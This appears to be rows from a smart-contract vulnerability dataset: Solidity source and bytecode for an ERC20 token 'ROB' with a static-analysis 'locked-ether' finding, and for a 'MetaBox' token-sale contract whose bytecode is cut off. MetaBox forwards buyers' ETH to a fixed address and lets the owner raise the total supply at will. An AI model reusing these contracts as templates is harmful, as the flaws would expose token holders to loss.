event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract ROB is ERC20Interface, Pausable {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Burn(address indexed from, uint256 value);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ROB() public {
symbol = "ROB";
name = "NeoWorld Rare Ore B";
decimals = 18;
_totalSupply = 10000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public whenNotPaused returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function increaseApproval (address _spender, uint _addedValue) public whenNotPaused
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public whenNotPaused
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function burn(uint256 _value) public onlyOwner returns (bool) {
require (_value > 0);
require (balanceOf(msg.sender) >= _value); // Check if the sender has enough
balances[msg.sender] = balanceOf(msg.sender).sub(_value); // Subtract from the sender
_totalSupply = _totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
} | 0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bb57806318160ddd1461021557806323b872dd1461023e578063313ce567146102b75780633eaaf86b146102e65780633f4ba83a1461030f57806342966c681461033c5780635c975abb1461037757806366188463146103a457806370a08231146103fe57806379ba50971461044b5780638456cb59146104605780638da5cb5b1461048d57806395d89b41146104e2578063a9059cbb14610570578063cae9ca51146105ca578063d4ee1d9014610667578063d73dd623146106bc578063dc39d06d14610716578063dd62ed3e14610770578063f2fde38b146107dc575b600080fd5b341561013857600080fd5b610140610815565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610180578082015181840152602081019050610165565b50505050905090810190601f1680156101ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c657600080fd5b6101fb600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108b3565b604051808215151515815260200191505060405180910390f35b341561022057600080fd5b6102286109c1565b6040518082815260200191505060405180910390f35b341561024957600080fd5b61029d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a0c565b604051808215151515815260200191505060405180910390f35b34156102c257600080fd5b6102ca610cd3565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f157600080fd5b6102f9610ce6565b6040518082815260200191505060405180910390f35b341561031a57600080fd5b610322610cec565b604051808215151515815260200191505060405180910390f35b341561034757600080fd5b61035d6004808035906020019091905050610db2565b604051808215151515815260200191505060405180910390f35b341561038257600080fd5b61038a610f05565b604051808215151515815260200191505060405180910390f35b34156103af57600080fd5b6103e4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f18565b604051808215151515815260200191505060405180910390f35b341561040957600080fd5b610435600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111c5565b6040518082815260200191505060405180910390f35b341561045657600080fd5b61045e61120e565b005b341561046b57600080fd5b6104736113ad565b604051808215151515815260200191505060405180910390f35b341561049857600080fd5b6104a0611473565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104ed57600080fd5b6104f5611498565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053557808201518184015260208101905061051a565b50505050905090810190601f1680156105625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561057b57600080fd5b6105b0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611536565b604051808215151515815260200191505060405180910390f35b34156105d557600080fd5b61064d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506116ed565b604051808215151515815260200191505060405180910390f35b341561067257600080fd5b61067a61194f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106c757600080fd5b6106fc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611975565b604051808215151515815260200191505060405180910390f35b341561072157600080fd5b610756600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611b8d565b604051808215151515815260200191505060405180910390f35b341561077b57600080fd5b6107c6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ccc565b6040518082815260200191505060405180910390f35b34156107e757600080fd5b610813600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d53565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108ab5780601f10610880576101008083540402835291602001916108ab565b820191906000526020600020905b81548152906001019060200180831161088e57829003601f168201915b505050505081565b6000600160149054906101000a900460ff161515156108d157600080fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000600160149054906101000a900460ff16151515610a2a57600080fd5b610a7c82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df290919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df290919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c2082600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0b90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4957600080fd5b600160149054906101000a900460ff161515610d6457600080fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0f57600080fd5b600082111515610e1e57600080fd5b81610e28336111c5565b10151515610e3557600080fd5b610e5082610e42336111c5565b611df290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ea882600554611df290919063ffffffff16565b6005819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600160149054906101000a900460ff1681565b600080600160149054906101000a900460ff16151515610f3757600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611045576000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110d9565b6110588382611df290919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126a57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140a57600080fd5b600160149054906101000a900460ff1615151561142657600080fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561152e5780601f106115035761010080835404028352916020019161152e565b820191906000526020600020905b81548152906001019060200180831161151157829003601f168201915b505050505081565b6000600160149054906101000a900460ff1615151561155457600080fd5b6115a682600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163b82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0b90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600160149054906101000a900460ff1615151561170b57600080fd5b82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156118e65780820151818401526020810190506118cb565b50505050905090810190601f1680156119135780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561193457600080fd5b5af1151561194157600080fd5b505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160149054906101000a900460ff1615151561199357600080fd5b611a2282600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0b90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bea57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611cad57600080fd5b5af11515611cba57600080fd5b50505060405180519050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dae57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611e0057fe5b818303905092915050565b60008183019050828110151515611e1e57fe5b809050929150505600a165627a7a7230582053092ecf4bac9faad335483cd2f31110cfd49a48081a2fb1bfcd48ab26145d8c0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 634 |
0x27bebacafb07c07fd83ee98c0d7a4aacf51f7d38 | /**
*Submitted for verification at Etherscan.io on 2022-03-06
*/
pragma solidity ^0.4.25;
// Selfdrop Send min 0.01 ETH to this contract address to recive your tokens
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MetaBox is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "MetaBox";
string public constant symbol = "MOX";
uint public constant decimals = 18;
uint public deadline = now + 30 * 1 days;
uint public round2 = now + 21 * 1 days;
uint public round1 = now + 14 * 1 days;
uint256 public totalSupply = 10000000e18;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 ETH
uint256 public tokensPerEth = 10000e18;
uint public target0drop = 0;
uint public progress0drop = 0;
//here u will write your Eth address
address multisig = 0x10499787Bc98b0833eeD8217c8B97a8023293266;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 4000000e18;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 1;
uint256 bonusCond2 = 5 ether / 1;
uint256 bonusCond3 = 1 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 10;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 20 / 10;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 100 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 10;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 10 / 10;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 0e18;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610195578063095ea7b3146102255780631003e2d21461028a57806318160ddd146102b757806323b872dd146102e257806329dcb0cf146103675780632e1a7d4d14610392578063313ce567146103bf57806342966c68146103ea578063532b581c1461041757806370a082311461044257806374ff2324146104995780637809231c146104c4578063836e81801461051157806383afd6da1461053c578063853828b61461056757806395d89b411461057e5780639b1cbccc1461060e5780639ea407be1461063d578063a9059cbb1461066a578063aa6ca808146106cf578063b449c24d146106d9578063c108d54214610734578063c489744b14610763578063cbdd69b5146107da578063dd62ed3e14610805578063e58fc54c1461087c578063e6a092f5146108d7578063efca2eed14610902578063f2fde38b1461092d578063f3ccb40114610970575b6101936109b5565b005b3480156101a157600080fd5b506101aa610db0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ea5780820151818401526020810190506101cf565b50505050905090810190601f1680156102175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023157600080fd5b50610270600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610de9565b604051808215151515815260200191505060405180910390f35b34801561029657600080fd5b506102b560048036038101908080359060200190929190505050610f77565b005b3480156102c357600080fd5b506102cc61102e565b6040518082815260200191505060405180910390f35b3480156102ee57600080fd5b5061034d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611034565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b5061037c61140a565b6040518082815260200191505060405180910390f35b34801561039e57600080fd5b506103bd60048036038101908080359060200190929190505050611410565b005b3480156103cb57600080fd5b506103d46114de565b6040518082815260200191505060405180910390f35b3480156103f657600080fd5b50610415600480360381019080803590602001909291905050506114e3565b005b34801561042357600080fd5b5061042c6116af565b6040518082815260200191505060405180910390f35b34801561044e57600080fd5b50610483600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116b5565b